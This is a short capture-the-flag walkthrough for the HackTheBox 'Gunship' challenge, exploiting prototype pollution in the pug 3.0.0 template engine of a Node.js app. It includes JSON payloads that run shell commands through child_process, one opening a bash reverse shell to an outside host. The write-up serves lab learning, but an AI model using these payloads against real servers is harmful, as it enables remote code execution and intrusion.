# HackTheBox-Gunship
We are giving an archive file to download which is password protected with `hackthebox`
On extracting the archive we can some files , also let's look at the web page
At the bottom we can see an input field
If we try to enter a random name it will tell us to enter the existing name of an artist
We can see two artists names in Gunship's timeline
And these are valid
If we look at the source code of `index.js` we can clearly see which names it accepts
But there's something else to note as well as this node js application is using `pug` module and we look at the version it's 3.0.0 which we can search on google for vulnerabilites which is vulnerable to `prototype pollution`
https://blog.p6.is/AST-Injection/#Pug
Now we cannot use the Poc which is used in the above link as we require to make a POST request and in this case we can't make any requests through ourselves as the express js would send 404 status code and won't deal with any request
So we could use `burp suite` to intercept the request and our exploit along with the data that is being submitted
```json
{
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
}
```
We may need to edit this as we can't get a reverse shell as we are given a public IP so we could just only try to execute commands
```json
{
"artist.name": "Westaway",
"__proto__.block":
{
"type": "Text",
"line": "test;process.mainModule.require('child_process').execSync(`id`)",
"val": "THIS IS THE VALUE"
}
}
```
Here we cannot see the command that we want to execute so we need to use `return` keyword that would return the output of the command
It's returning in buffer format so we need to change the encoding and we can do that by adding `{encoding:'utf-8'}`
For the flag as the flag file name is a randomly generated name